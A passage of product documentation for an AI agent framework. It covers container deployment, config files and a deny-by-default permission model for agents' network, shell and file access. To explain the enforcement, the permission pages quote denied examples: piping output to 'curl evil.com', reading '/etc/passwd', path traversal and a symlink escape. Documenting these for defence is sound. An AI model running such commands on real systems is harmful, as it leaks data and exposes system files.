# Overview (/agent-framework) ## Looped Agent Framework [#looped-agent-framework] ```txt ██╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ █████╗ ███████╗ ██║ ██╔═══██╗██╔═══██╗██╔══██╗██╔════╝██╔══██╗ ██╔══██╗██╔════╝ ██║ ██║ ██║██║ ██║██████╔╝█████╗ ██║ ██║ ███████║█████╗ ██║ ██║ ██║██║ ██║██╔═══╝ ██╔══╝ ██║ ██║ ██╔══██║██╔══╝ ███████╗╚██████╔╝╚██████╔╝██║ ███████╗██████╔╝ ██║ ██║██║ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═╝ ``` ### Overview [#overview] The **Looped Agent Framework** is a framework for building and deploying AI agents as services. These are generally single-purpose agents that sit in an infinite feedback loop. The agent waits for an event (a Discord message, a webhook, a cron tick), does its job, delivers the result and then goes idle again. The core idea is that *an agent is a file*. A simple config file defines the agent's purpose, the model, the tools and the boundaries it operates within. ```yaml title="agent.yml" handle: issue-bot # agents name themselves; you just pick the handle description: Turns team Discord messages into GitHub issues. model: { provider: openai-compatible, id: gpt-5.4-mini } triggers: - type: discord channels: ["issues"] skills: - ./skills/gh-issues.md permissions: net: [discord.com, gateway.discord.gg, api.github.com] run: [gh] ``` ### Docker as the deployment platform [#docker-as-the-deployment-platform] We use Docker as the deployment platform: one agent is one container, so an agent can run on a VPS, a homelab machine or any cloud, on any OS that can run Docker. Restart policies, health checks, secrets and logs are problems the container ecosystem solved years ago, so agents inherit those answers instead of us reinventing them. A fleet is just more containers. The mechanics live in [Docker run](/agent-framework/docker-run) and [Docker compose](/agent-framework/docker-compose). A more important reason is containment. An agent that runs unattended is eventually going to be handed hostile input, so we built the runtime as nested layers of enforcement, where each layer assumes the layer inside it can fail. #### A hardened base image [#a-hardened-base-image] We created a minimal image that contains the Deno runtime, the framework and bash. Nothing extra. Anything that isn't in the image can't be misused, so the attack surface stays small and every capability your agent has is one you added deliberately. The process runs as a non-root user, and a built-in healthcheck surfaces each agent's state in `docker ps`. [What the base image gives you](/agent-framework/docker-run#what-the-base-image-gives-you) has the full list. #### A permission system built on Deno [#a-permission-system-built-on-deno] Most runtimes give a process everything the OS user can do. Deno works the other way around: the process starts with nothing and only holds what you granted it at launch. The `permissions:` block in the agent file compiles down to Deno permission flags, and the framework's own deny-by-default engine handles what flags can't express: network egress per host, shell commands gated per executable, secrets injected server side. This means that the boundaries you write in the agent file are enforced at runtime. The full story is in [The permission model](/agent-framework/permission-model). #### The container as the outer boundary [#the-container-as-the-outer-boundary] The layers nest: the permission engine sits inside the Deno sandbox, which sits inside the container, and whatever slips past an inner layer meets the next one. Bash subprocesses escape the Deno sandbox by design, and the container is what contains them; that's also why there is no "run on the host" mode. A misbehaving agent is one container. You can stop it and it's gone, and neither your host nor the rest of the fleet ever feels it. ## The Manifesto [#the-manifesto] Start with the [manifesto](https://github.com/loopedautomation/agent-framework/blob/main/MANIFESTO.md) - it's a short read and outlines the philosophy behind the framework. ## Next Steps [#next-steps] The framework is built in the open at [loopedautomation/agent-framework](https://github.com/loopedautomation/agent-framework). The [examples](https://github.com/loopedautomation/agent-framework/tree/main/examples) are complete, runnable agents, from a minimal REPL bot to a Discord to GitHub agent deployed with `docker compose up`. # Quick start (/agent-framework/quick-start) This guide takes you from an empty directory to a running agent in about five minutes: you write one file, validate it, and run it. Everything runs through Docker, so there is nothing else to install. ## 0. Prerequisites [#0-prerequisites] * [Docker](https://docs.docker.com/get-started/get-docker/) - agents run from the published base image, [`ghcr.io/loopedautomation/agent`](https://github.com/loopedautomation/agent-framework/pkgs/container/agent) * An API key for an OpenAI-compatible or Anthropic endpoint - or a local model via Ollama, no key required ## 1. Write the agent file [#1-write-the-agent-file] An agent is defined entirely by a single file. Create a project directory, then add the definition as `agent.yaml`: ```sh mkdir time-bot && cd time-bot ``` ```yaml # agent.yaml handle: time-bot description: Answers questions, and knows what time it is. model: provider: openai-compatible id: gpt-5.4-mini purpose: | You are a concise assistant. When asked about the current date or time, use the current_time tool rather than guessing. ``` ```yaml # agent.yaml handle: time-bot description: Answers questions, and knows what time it is. model: provider: anthropic id: claude-haiku-4-5 purpose: | You are a concise assistant. When asked about the current date or time, use the current_time tool rather than guessing. ``` * The `handle` is the identifier you use to refer to the agent. The agent chooses its own display name on first boot and announces it in a startup banner. * Unknown keys are validation errors, so a misspelled key such as `permisions:` fails immediately instead of being silently ignored. * To use a local model instead, use the `openai-compatible` provider and add `base_url: http://host.docker.internal:11434/v1` under `model:` - no API key is needed. (`localhost` would resolve to the container itself; on Linux, also add `--add-host=host.docker.internal:host-gateway` to the commands below.) Every block is explained in [Agent config](/agent-framework/agent-file). ## 2. Validate it [#2-validate-it] Validation is the same for both providers: ```sh docker run --rm -v ./agent.yaml:/agent/agent.yaml:ro \ ghcr.io/loopedautomation/agent:latest validate /agent/agent.yaml ``` Prints the parsed identity, compiled sandbox flags and every env var the config references, with a warning for any that aren't set. ## 3. Run it [#3-run-it] ```sh export OPENAI_API_KEY=sk-... docker run --rm -it \ -v ./agent.yaml:/agent/agent.yaml:ro \ -e OPENAI_API_KEY \ -v time-bot-data:/data \ ghcr.io/loopedautomation/agent:latest ``` ```sh export ANTHROPIC_API_KEY=sk-ant-... docker run --rm -it \ -v ./agent.yaml:/agent/agent.yaml:ro \ -e ANTHROPIC_API_KEY \ -v time-bot-data:/data \ ghcr.io/loopedautomation/agent:latest ``` ``` Meridian (time-bot) is listening (model: gpt-5.4-mini; ctrl-d to exit) you> what time is it? Meridian> It's 21:14 UTC on July 3, 2026. [ok · 2 steps · 743in/41out tokens · $0.000136] ``` Your first agent is now running locally. The image's default command runs the mounted config, and the `/data` volume holds the agent's memory and identity - persist it and the agent keeps the name it chose. Every run reports its status, step count and token usage. ## What's next [#whats-next] Without `triggers:`, running the agent starts an interactive REPL, which is the fastest way to iterate on a `purpose`. From here you can: * Give it triggers and the same image runs a long-lived service: [Discord](/agent-framework/discord) · [Webhook](/agent-framework/webhook) · [Cron](/agent-framework/cron) * Teach it skills and wire up tools: [Skills](/agent-framework/skills) · [Tools](/agent-framework/tools) * Grant it capability safely: [Permissions](/agent-framework/permissions) * Ship it for real, from the base image to fleets and PaaS: [Docker run](/agent-framework/docker-run) · [Docker compose](/agent-framework/docker-compose) * Generate a complete project instead of writing the files by hand - `af init` scaffolds the agent, secrets and deployment shape: [CLI](/agent-framework/cli#af-init) * Start from a complete, runnable agent: the [gh-issues-bot example](https://github.com/loopedautomation/agent-framework/tree/main/examples/gh-issues-bot) uses the same file shape, adds triggers, skills and permissions, and deploys with `docker compose up` # Agent config (/agent-framework/agent-file) Each agent is defined by a single file. The agent file describes everything about an agent: its identity, the model that runs it, the events that wake it, and the boundaries it operates within. This page walks through every block; the exhaustive field list lives in the [JSON Schema](https://github.com/loopedautomation/agent-framework/blob/main/schema/agent.json), which your editor can enforce as you type ([set it up](#editor-support)) and `af schema` prints locally. Here is a complete agent, for orientation: ```yaml # yaml-language-server: $schema=https://looped.sh/schema/agent.json handle: issue-bot description: Turns team Discord messages into GitHub issues. model: provider: openai-compatible id: gpt-5.4-mini purpose: | You turn Discord messages into well-formed GitHub issues in myorg/myrepo, using the gh CLI. Reply with the issue link. If a message isn't an issue report or feature request, say so briefly instead of inventing one. triggers: - type: discord channels: ["issues"] skills: - ./skills/gh-issues.md permissions: net: [api.github.com] run: [gh] env: GITHUB_TOKEN: ${GITHUB_TOKEN} memory: scope: thread limits: max_steps: 15 ``` Four keys are required: `handle`, `description`, `model`, and `purpose`. Everything else is optional, and unknown keys are validation errors — a misspelled `permisions:` fails immediately rather than being silently ignored. ## Identity: handle, description — and the name [#identity-handle-description--and-the-name] `handle` is what *you* call the agent — letters, digits, hyphens (`^[a-zA-Z0-9][a-zA-Z0-9-]*$`). It names the compose service, the log lines, and the agent's database file. `description` is one line: what job this agent does. By default the agent chooses its own display name. On first boot it names itself with a single LLM call (routed to the `model.small` role) and persists the name in its SQLite identity; the CLI prints a banner when this happens. You address the agent by its `handle`, and it signs its work with the name it chose. A fresh data volume means a fresh identity, and the agent will name itself again. If you'd rather pick the name yourself, set the optional `name:` key (2–40 characters). The naming ritual is skipped entirely and the agent introduces itself with the name you gave it. Setting `name` also wins over a name the agent chose earlier, without erasing it — remove the key and the chosen name comes back. ## Purpose [#purpose] `purpose` is the agent's job description and becomes its system prompt: what it does, how it behaves, and — just as important for event-driven agents — when to stay quiet. Be specific; this is the entire brief the model works from. A narrow, concrete purpose is what lets a small model be reliable. `${VAR}` references in purpose resolve at startup the same way an `env:` block's do — process env first, then `/run/secrets/`, failing on boot when missing. Use them for non-secret configuration that varies per deployment: a project id, a hostname, a repo name. The expanded text is the system prompt, fully visible to the model and not treated as a secret by the [redactor](/agent-framework/secrets) — never reference a credential here; for authenticated APIs use [`http.auth`](/agent-framework/secrets#credentials-for-http-attached-server-side) instead. ## Model [#model] ```yaml model: provider: openai-compatible # or: anthropic, codex id: gpt-5.4-mini # base_url: http://localhost:11434/v1 # any compatible endpoint, e.g. Ollama # api_key_env: OPENAI_API_KEY # names the env var; the key stays out of config # small: gpt-5.4-nano # for cheap internal calls # fallbacks: [gpt-5.4] # tried in order when the primary fails ``` * **`provider`** is a dialect: `openai-compatible` covers OpenAI, Ollama, vLLM, and anything speaking that API; `anthropic` is the native Anthropic API; `codex` runs on an OpenAI Codex (ChatGPT) subscription via the credentials from `codex login`, with no API key involved. Swapping providers is one config line — no provider is load-bearing. * **`base_url`** points `openai-compatible` at any endpoint. Local models need no key. * **`api_key_env`** names the env var holding the key; the key itself stays out of the config. Defaults to `OPENAI_API_KEY` / `ANTHROPIC_API_KEY` per provider. * **`small`** is the model for cheap internal calls (the naming ritual, [compaction](/agent-framework/memory#compaction) summaries). Defaults to the main `id` — set it to something tiny and these calls round to free. * **`fallbacks`** names model ids to try in order when the primary fails — validated today, with the runtime chain still landing ([Models](/agent-framework/models#when-the-provider-fails)). The full model story — dialects, keys, local endpoints, retries — is [Models](/agent-framework/models). ## Memory [#memory] ```yaml memory: scope: thread # default: none persistent: true # default: false compact_at_tokens: 50000 # default: 50000; false disables ``` `none` (the default) starts every run fresh. `thread` persists conversation history per conversation key — the chat channel or thread (Discord, Slack, Telegram), the webhook caller's `conversation_id`, or the REPL session — so follow-ups work ("make it weekly instead"). `persistent: true` gives the agent `remember`/`recall`/`list_memories`/`forget` tools — facts that survive across conversation keys and container restarts, not just one thread's transcript. Both live in the agent's own SQLite file, nowhere else, and compose freely. `compact_at_tokens` keeps a long thread from growing without bound: once a conversation's context reaches the threshold, the older turns are folded into a model-written summary and the recent ones stay verbatim. The full story, including what the model sees in its system prompt and how it's audited, is in [Memory](/agent-framework/memory). ## Limits [#limits] ```yaml limits: max_steps: 20 # default: 20 LLM calls per run concurrent_runs: 4 # default: 4 conversations running at once queue_depth: 10 # default: 10 waiting events per conversation ``` `max_steps` caps how many LLM calls a run can make, so an unattended agent can only spend what you've allowed. The cap is on by default. When a run hits the cap mid-task, the agent gets one final call with its tools removed and is asked to summarize what it has done, what remains unfinished and what should happen next. That summary becomes the run's reply, so a capped run hands you a progress report you can pick up from. If the wrap-up call fails or produces no text, the reply falls back to a plain "run ended after N steps" line. The wrap-up counts toward the recorded step count, which is why a capped run shows `max_steps + 1` calls. `concurrent_runs` and `queue_depth` decide what happens when events arrive faster than the agent finishes them. Within one conversation, runs are serial and ordered: a message that arrives mid-run waits its turn, and each run loads the history its predecessor saved, so message four's run sees what messages one through three did. Across conversations the agent runs in parallel, up to `concurrent_runs` at a time, so one person's long task doesn't make the agent look dead to everyone else. Setting `concurrent_runs: 1` serializes the whole agent. A conversation's queue holds `queue_depth` events. Past that, the event is refused on the spot: the sender gets a short built-in reply through the normal channel (webhook callers get a 429), and the refusal lands in the audit trail. The queue lives in memory, which means a container restart drops whatever was waiting; the runs table records every run that started, so you can tell what was lost. Cron gets one extra promise: a schedule never overlaps itself. At most one firing runs and one waits, and further firings while both slots are full are skipped, with an audit entry each. The details are on the [Cron page](/agent-framework/cron). Every result carries a typed status: | Status | Meaning | | ----------------- | ----------------------------------------------------------------------------------------------------------------- | | `ok` | The agent finished its job. | | `error_max_steps` | The run hit `limits.max_steps`; the reply carries the agent's wrap-up summary. | | `error_provider` | The provider failed after retries. | | `rejected` | The event was refused because its queue was full; no run started, and the refusal is recorded in the audit trail. | Each run's status, step count and token usage are recorded in [the data volume](/agent-framework/docker-run#persistence-the-data-volume). ## Env [#env] ```yaml env: GITHUB_TOKEN: ${GITHUB_TOKEN} # secret: scoped, and redacted on the way out public: POSTHOG_PROJECT_ID: 12345 # configuration: scoped, and left visible ``` The `env:` block grants environment variables to tools and MCP servers — and only those; subprocesses never inherit the agent process's ambient environment. Values may be `${VAR}` references, resolved at startup from the process env, then from `/run/secrets/` (Docker Compose file secrets). A missing reference fails at startup, before any event is handled. The value is scoped to the tools that need it, and any tool output quoting it back is scrubbed. Everything in `env:` is treated as a secret, which is wrong for configuration the agent has to read back — a project id redacted out of the URLs it builds looks like an agent that can't see its own settings. `public:` is the same block without the redaction, and it takes bare numbers without quoting. The full story, and when not to reach for it, is in [Secrets](/agent-framework/secrets#configuration-the-agent-has-to-read-public). ## The blocks with their own pages [#the-blocks-with-their-own-pages] * **`triggers:`** — the events that wake the agent. With triggers, `af run` starts a long-lived service; without, an interactive REPL. → [Discord](/agent-framework/discord) · [Slack](/agent-framework/slack) · [Telegram](/agent-framework/telegram) · [Email](/agent-framework/email) · [Webhook & GitHub](/agent-framework/webhook) · [TTY](/agent-framework/tty) · [Cron](/agent-framework/cron) * **`skills:`** — markdown files that teach the agent how to use something well; capability stays with the config. → [Skills](/agent-framework/skills) * **`tools:`** — capability beyond the natives: MCP servers, and tool search to keep their schemas out of context. → [Tools](/agent-framework/tools) * **`permissions:`** — deny-by-default allowlists for hosts, executables, and paths. Omit the block and the agent can touch nothing. → [Permissions](/agent-framework/permissions) * **`http:`** - credentials the runtime attaches to outbound `http_request` calls, so an authenticated API needs no key in a model-visible header. → [Secrets](/agent-framework/secrets) * **`redact:`** - extra secret values and header names to scrub, on top of the ones the config already names. → [Secrets](/agent-framework/secrets) * **`memory:`** — conversation history (`scope`), facts that survive across conversations and restarts (`persistent`), and auto-compaction (`compact_at_tokens`). → [Memory](/agent-framework/memory) * **`schedules:`** — the agent files future work for itself: reminders and recurring runs it creates in conversation. → [Scheduling](/agent-framework/scheduling) * **`commands:`** — operator-defined slash commands, alongside the built-ins `/help`, `/status`, `/reset`, `/compact` and `/new`. → [Slash commands](/agent-framework/slash-commands) ## Validating [#validating] `af validate agent.yaml` parses the file, prints the identity, triggers, compiled sandbox flags, and every env var referenced — warning on any that aren't set. ### Editor support [#editor-support] Add this as the first line of any agent file and your editor (VS Code, JetBrains, Neovim — anything running yaml-language-server) validates as you type: autocomplete on every key, hover docs from the field descriptions, red squiggles on typos: ```yaml # yaml-language-server: $schema=https://looped.sh/schema/agent.json ``` The schema is generated from the same source of truth the runtime enforces ([schema/agent.json](https://github.com/loopedautomation/agent-framework/blob/main/schema/agent.json), kept current by CI), so nothing can exist in the gap between "accepted" and "documented". `af schema` prints it locally. # The permission model (/agent-framework/permission-model) A service agent runs at 3am, triggered by a webhook, on a machine nobody is watching. There is no one to ask "may I run this?", so the question has to be answered before the agent starts. That is what the `permissions:` block is for: you declare once, in config, what the agent is allowed to touch, and everything else is denied. There is no prompt at runtime. When the agent tries something outside its grants, the denial goes back to it as an ordinary tool result and it carries on with that as context for its next turn. The default is deny. An agent with no `permissions:` block can touch nothing, and there is no way to grant more while the agent is running. Widening a boundary means editing the file and redeploying, so a capability change gets reviewed and versioned like any other config change. ## The four permission types [#the-four-permission-types] Permissions come in four axes: `net`, `run`, `read` and `write`. Each one is an allowlist, and each native tool only exists for the agent when its axis grants something. This means that no unused tool schema takes up context, and there is nothing sitting there to misuse. ### net: which hosts the agent can call [#net-which-hosts-the-agent-can-call] ```yaml permissions: net: [api.github.com, "*.internal.example.com"] ``` With this block, `http_request` can reach `api.github.com` and any subdomain of `internal.example.com`, such as `mcp.internal.example.com`. A request to any other host comes back as `permission denied: net access to "evil.com" is not in the agent's permissions.net allowlist`. The wildcard covers subdomains only; `internal.example.com` itself needs its own entry. With no `net:` list, the `http_request` tool does not exist for the agent at all. ### run: which executables the agent can spawn [#run-which-executables-the-agent-can-spawn] ```yaml permissions: run: [gh, grep] ``` With this block, `run_bash` can execute `gh issue list | grep bug`. The framework does not trust the shell: it extracts every executable from pipes and chains and checks each one against the list, so `gh issue list | curl evil.com` is denied because `curl` is missing from the allowlist. Command substitution (`$(...)`, backticks, `<(...)`) is rejected outright, because there is no way to check what is inside it before it runs. Executables are matched by basename, so `/usr/bin/gh` counts as `gh`. ### read and write: which paths the agent can touch [#read-and-write-which-paths-the-agent-can-touch] ```yaml permissions: read: [/workspace] write: [/workspace/out] ``` With this block, `read_file` can open `/workspace/notes.md` and `write_file` can create `/workspace/out/report.md`. Reading `/etc/passwd` is denied, and so is the traversal attempt `/workspace/../etc/passwd`, because paths are normalized before the check. Writes outside `/workspace/out` are denied, including the rest of `/workspace`. A prefix covers everything beneath it, so `read: [/workspace]` grants every file in every subdirectory. What it does not grant is a file that merely looks like it lives there. The tools resolve a path's symlinks before authorizing it, and they act on the resolved path, so a link at `/workspace/escape` pointing at `/etc` gives the agent no more reach than it already had: `/workspace/escape/passwd` is checked as `/etc/passwd`, and denied. Links that stay inside the root keep working, which is what lets an allowed root be a symlink itself, the way `/tmp` is on macOS. An agent with an empty `permissions:` block carries only `current_time`, plus `read_skill` if it has [skills](/agent-framework/skills). The full toolset and what makes each tool appear is in [Tools](/agent-framework/tools); syntax, matching rules and secrets are in [Permissions](/agent-framework/permissions). ## The three layers [#the-three-layers] We don't trust any single boundary to hold. Enforcement nests in three layers, and each layer assumes the one inside it can fail. 1. **The permission engine.** Framework code checks every native tool call against the allowlists above, and every decision, allowed and denied, lands in the audit trail. 2. **The Deno sandbox.** The agent process itself is launched with only the rights it needs: in the base image, reads scoped to `/agent`, `/skills`, `/data` and `/run/secrets`, writes to `/data` and subprocess spawning to `bash` alone. The runtime enforces this underneath the framework's own code, so a bug in the framework can't grant an access the runtime was never given. An agent that spawns nothing runs under a tighter set still, with its net allowlist compiled into `--allow-net` ([hermetic mode](#hermetic-mode)). `af flags agent.yaml` prints the flags a config runs under. 3. **The container.** This is the outer wall and the unit of isolation. `bash` subprocesses escape the Deno sandbox by design, and the container is what contains them. That is also why there is no "run on the host" mode: the framework refuses to run where its outermost layer is missing. Subprocesses and MCP servers receive only the env vars their config block grants, plus `PATH`/`HOME`, and secret values are injected server side, so they never enter the model's context. ## Hermetic mode [#hermetic-mode] The subprocess escape hatch only exists when your config asks for it. If an agent has no `permissions.run` grants and no stdio MCP servers, then nothing runs outside the Deno sandbox, and every byte the agent sends leaves through the runtime. That means the runtime itself can hold the whole net allowlist, and it does. When an agent like that starts, the container entrypoint reads the config and re-execs itself with `--allow-net` narrowed to the hosts the agent is actually allowed to reach, before it has connected to anything. You don't turn this on. It's what qualifying agents get, and `af flags` shows you the flags they run under: ``` $ af flags agent.yaml --allow-env --allow-read=/agent,/skills,/data,/looped,/deno-dir,/run/secrets \ --allow-write=/data --allow-net=0.0.0.0:9090,api.anthropic.com,api.github.com ``` The framework works out the hosts it needs for itself, and they all come from the config: the model endpoint, the hosts each trigger talks to (Discord's API and its gateway, the Telegram bot API, your IMAP and SMTP servers), the URL of every HTTP MCP server, and the ports the status server and any webhook trigger listen on. Everything else in `permissions.net` is yours. A host that appears in neither is refused by the runtime, so a prompt injection that talks an MCP client or a provider SDK into calling an attacker's endpoint doesn't get out. Two things will keep an agent out of hermetic mode, and `af validate` names them: * **A subprocess.** Any `permissions.run` entry, or an MCP server declared with `command:` rather than `url:`, spawns a process that leaves the Deno sandbox, and once it has, the runtime cannot hold it. * **Live voice.** A discord trigger with `voice_channels` sends audio over UDP to a media server Discord assigns per session, and Deno cannot hold a permission for an address nobody knows in advance ([Voice](/agent-framework/voice)). Either way the container is that agent's egress boundary. Wildcard hosts compile. Deno's `--allow-net` accepts `*.example.com`, so a config that grants subdomains still qualifies for hermetic mode. One nuance is worth knowing about: Deno's wildcard also covers the apex, which means at the sandbox layer `*.example.com` reaches `example.com` too. The permission engine keeps enforcing the stricter subdomains-only pattern for every `http_request` call; the wider match applies to the runtime's own clients, and we took that one extra host over leaving the whole net open for wildcard configs. The tradeoff is deliberate. Hermetic mode rewards the absence of subprocesses; it doesn't forbid their presence. The CLI-plus-skill pattern is half of what this framework is for. ## Where the boundaries stop today [#where-the-boundaries-stop-today] The model above is honest about its edges, and you should know where they are before you rely on it. **An MCP server's network traffic bypasses `permissions.net`.** The engine checks hosts for the native `http_request` tool; whatever outbound calls an MCP server makes happen outside it. When you declare a server under `tools.mcp`, you are trusting where it talks to. Your controls on the tool side are the `include:` filter (a tool you didn't include does not exist for the agent), the `readonly:` flag and the scoped `env:` block, and every MCP call lands in the audit trail; the server's own egress is bounded by the container. **Network egress is open below the app layer for an agent that spawns things.** If your agent has `permissions.run` grants or a stdio MCP server, something runs outside the Deno sandbox, and per-host enforcement happens only in the permission engine. A `gh` you allowed will talk to whatever it wants. If egress matters for that agent, restrict it at the container layer with your network setup. Agents that spawn nothing don't have this problem. See below. **`run` matches by basename.** `run: [gh]` allows any executable named `gh`, wherever it lives. Inside the hardened base image that is fine in practice; if you derive an image that widens the writable paths, keep in mind that the container is the backstop. **Path grants are enforced in the engine, and only there.** Deno's `--allow-read=/workspace` follows a symlink out of `/workspace` as readily as the tools once did, so the runtime layer is not a second opinion on where a path leads. The engine resolves symlinks and authorizes the destination, and the container is the layer that decides whether the destination exists in the agent's filesystem at all. If a path must be unreachable, do not mount it. **Resolving a path and opening it are two steps.** The tools resolve, authorize, then act on the resolved path, so a link cannot redirect a call that was already checked. What remains is the classic gap between those steps: a component swapped for a symlink in the microseconds between them would be followed. Tool calls within a run are serialized, so an agent cannot race itself, and closing the gap properly needs `openat2`-style syscalls that Deno does not expose. An attacker who can already write to the agent's allowed root to win that race has the box. The result is that you can run an agent unattended and know its worst case in advance: the agent can reach exactly what its grants say, the runtime and the container hold that boundary underneath the framework's own code, and the remaining edges are outlined above. The config itself is hard to get wrong without noticing, because unknown keys are rejected at load time and anything you leave out is denied. # Docker run (/agent-framework/docker-run) One agent runs in one container, and the container is the unit of deployment, isolation and scaling. An agent behaves the same on a single machine as it does in a fleet. To run several agents together, see [Docker compose](/agent-framework/docker-compose). ## Quick run [#quick-run] The [CLI](/agent-framework/cli) starts the container for you — point it at the agent file: ```sh af up -d agent.yaml # detached; af ps to inspect, af down to stop af up agent.yaml # foreground, logs streaming, ctrl-c stops af run agent.yaml # interactive: REPL without triggers, service with ``` `af up` mounts the config and any skills read-only, attaches the `-data` volume, passes the `.env` sitting next to the agent file, publishes the status surface on an ephemeral loopback port, and runs the container read-only. `af up --dry-run` prints the exact command instead of running it. ## The base image [#the-base-image] We publish the base image to GitHub Packages as **`ghcr.io/loopedautomation/agent`**. It's public, built for amd64 and arm64, and rebuilt on every release: each version gets its own immutable tag, and `:latest` always points at the newest release. An agent is the YAML mounted onto that image, and every `af` command expands to a plain `docker run` against it — the [CLI page shows the exact expansion](/agent-framework/cli#under-the-hood), and `af up --dry-run agent.yaml` prints it for your agent, ready for a systemd unit or a runbook. If you'd rather build the image yourself, run `docker build -f images/agent/Dockerfile -t ghcr.io/loopedautomation/agent:latest .` from the repo root. ## File-less deploys: config via env var [#file-less-deploys-config-via-env-var] Some platforms make environment variables easy and file mounts awkward. Coolify, Railway, Fly and any other platform where a deploy is an image plus env vars all have this shape. For these, you can put the YAML itself in `AF_AGENT_CONFIG` and deploy the stock image with no files at all; the agent reads its definition from the env var. If you set both the env var and a mounted `/agent/agent.yaml`, the agent refuses to start rather than guessing which one you meant. Skills need real files, so this route only works for agents without them; bake a custom image if your agent has skills. We'd treat it as a last resort for platforms without file mounts. For compose deployments, keep configuration out of the environment and use the [single-file `configs:` shape](/agent-framework/docker-compose#one-compose-file-the-whole-agent-inline) instead. ## The custom-image story [#the-custom-image-story] The Dockerfile defines the environment and the YAML defines the agent. If your agent needs a CLI the base image doesn't carry, add a layer: ```dockerfile FROM ghcr.io/loopedautomation/agent:latest USER root RUN apk add --no-cache github-cli USER looped # Optional: bake the config and skills in so the image is self-contained COPY --chown=looped:looped skills/gh-issues.md /skills/gh-issues.md COPY --chown=looped:looped agent.yaml /agent/agent.yaml ``` Build it and point the CLI at it: ```sh docker build -t my-agent . af up -d --image my-agent agent.yaml ``` [`examples/gh-issues-bot`](https://github.com/loopedautomation/agent-framework/tree/main/examples/gh-issues-bot) is the complete pattern, with the Dockerfile, the compose.yaml and an `.env.example`, deployed with [Docker compose](/agent-framework/docker-compose). ## What the base image gives you [#what-the-base-image-gives-you] * **Hardened by default**: the process runs as `looped` (uid 10001), a non-root user, and the image contains bash for `run_bash` and nothing else. No browser, no extras. The compose examples add `read_only: true` and a tmpfs on top. * **The Deno sandbox as layer 1**: reads are scoped to `/agent`, `/skills`, `/data` and `/run/secrets`, writes to `/data` only, and subprocess spawning is limited to bash, which the permission engine then gates per executable ([the layers](/agent-framework/permissions#the-layers)). * **Volumes**: `/data` holds the agent's SQLite database, with its sessions, runs, audit trail and chosen name. Persist this volume; a fresh volume gives the agent a fresh identity. * **Health**: a `HEALTHCHECK` is wired to the status surface, so `docker ps` shows `healthy`. * **Ports**: `8080` for the webhook trigger (if configured) and `9090` for the status surface. ## The status surface [#the-status-surface] Every service agent exposes: * `GET /healthz` (or `/health`) - liveness and identity (handle, chosen name, model, triggers, uptime). Unauthenticated. * `GET /runs` and `GET /audit` - the run history and the permission decisions. Loopback-only unless `AF_STATUS_TOKEN` is set, and then they take bearer-token access. `af ps` shows each agent's status address — `af up` publishes port 9090 on an ephemeral loopback port so agents never collide: ```sh af ps # HANDLE · STATE · STATUS · STATUS ADDR curl -s 127.0.0.1:55031/healthz | jq # the addr af ps printed ``` `AF_STATUS_HOST` and `AF_STATUS_PORT` override the bind. The base image sets the host to `0.0.0.0`, so publish the port loopback-only, the way `af up` and the compose examples do. ## Persistence: the data volume [#persistence-the-data-volume] Each agent owns one SQLite file: `/data/.db` in the container, or wherever `AF_DATA_DIR` points (locally it defaults to `.looped/`). It holds: * **sessions/messages** - the conversation history per conversation key (when `memory.scope: thread`) * **memories** - facts the agent chose to remember, keyed by name, visible across every conversation key (when `memory.persistent: true`) — see [Memory](/agent-framework/memory) * **runs** - every run, with its trigger, input, status, steps, tokens and timestamps * **audit** - every permission decision, allowed and denied, plus every memory write and delete * **identity** - the name the agent chose on first boot This means the agent's full history sits in one file you can query: everything the agent did, including the actions its permissions denied. Persist the volume; with a fresh one the agent starts over and names itself again. ## Secrets [#secrets] A `.env` file next to the agent file is the simple path — `af up` passes it automatically (`--env-file` points elsewhere), and warns about any `${VAR}` the config references that the file doesn't supply. A missing reference fails at startup. Compose `secrets:` files resolve the same way; see [Docker compose](/agent-framework/docker-compose#secrets). Secrets are injected into tools server side and never enter the model's context ([Permissions](/agent-framework/permissions#secrets)). # Docker compose (/agent-framework/docker-compose) Docker Compose is how you run one or many agents as a fleet. Each agent is one service block, with its image, volume, env file and restart policy written down and versioned alongside the agent itself. ## One service block per agent [#one-service-block-per-agent] ```yaml services: gh-issues-bot: image: ghcr.io/loopedautomation/agent:latest volumes: - ./agent.yaml:/agent/agent.yaml:ro - gh-issues-bot-data:/data env_file: .env restart: unless-stopped volumes: gh-issues-bot-data: ``` `af init --deploy compose` generates this shape, plus a Dockerfile when the agent needs [extra CLIs in the image](/agent-framework/docker-run#the-custom-image-story). The generated examples also add `read_only: true` and a tmpfs, which is hardening on top of what [the base image already gives you](/agent-framework/docker-run#what-the-base-image-gives-you). [`examples/gh-issues-bot`](https://github.com/loopedautomation/agent-framework/tree/main/examples/gh-issues-bot) is the complete pattern: ```sh cd examples/gh-issues-bot && cp .env.example .env # fill in your keys docker compose up -d ``` ## One compose file: the whole agent, inline [#one-compose-file-the-whole-agent-inline] A top-level `configs:` element collapses a compose deploy to a single file. The agent's config is defined inline and mounted into the container at `/agent/agent.yaml`. There is no separate file on disk and no configuration passed through the environment: ```yaml # compose.yaml - no agent.yaml anywhere configs: agent-yaml: content: | handle: time-bot description: Answers questions, and knows what time it is. model: provider: openai-compatible id: gpt-5.4-mini purpose: | You are a concise assistant. Use current_time rather than guessing. services: time-bot: image: ghcr.io/loopedautomation/agent:latest configs: - source: agent-yaml target: /agent/agent.yaml env_file: .env volumes: - time-bot-data:/data restart: unless-stopped volumes: time-bot-data: ``` `af init --deploy compose-inline` generates this shape. Two things to know. Inline `content:` requires Docker Compose v2.23.1 or newer. And env references *inside the embedded config* must be written `$${VAR}` (double dollar), so that compose passes them through for the runtime to resolve instead of substituting the value into the config at deploy time. ## Fleets [#fleets] A fleet is the same file with more entries: each agent is one more service block with its own config, volume and permissions. When a second job needs doing, run a second agent alongside the first rather than widening the first agent's scope. ## Secrets [#secrets] Compose `secrets:` are mounted at `/run/secrets/` and resolve the same way env vars do: a config reference like `${GITHUB_TOKEN}` checks the env first and then the secrets file. `env_file: .env` covers simple setups. Secrets are injected into tools server side and never enter the model's context ([Permissions](/agent-framework/permissions#secrets)). # CLI (/agent-framework/cli) `af` is the framework's CLI, published to JSR as [`@looped/af`](https://jsr.io/@looped/af). On macOS or Linux, install it with Homebrew — no Deno required: ```sh brew install loopedautomation/tap/af ``` Or install from JSR with Deno: ```sh deno install -g --allow-read --allow-write --allow-env --allow-net --allow-run=bash,docker,deno -n af jsr:@looped/af ``` Either way the CLI drives Docker, which must be installed and running. Upgrade a Homebrew install with `brew upgrade af`; a Deno install 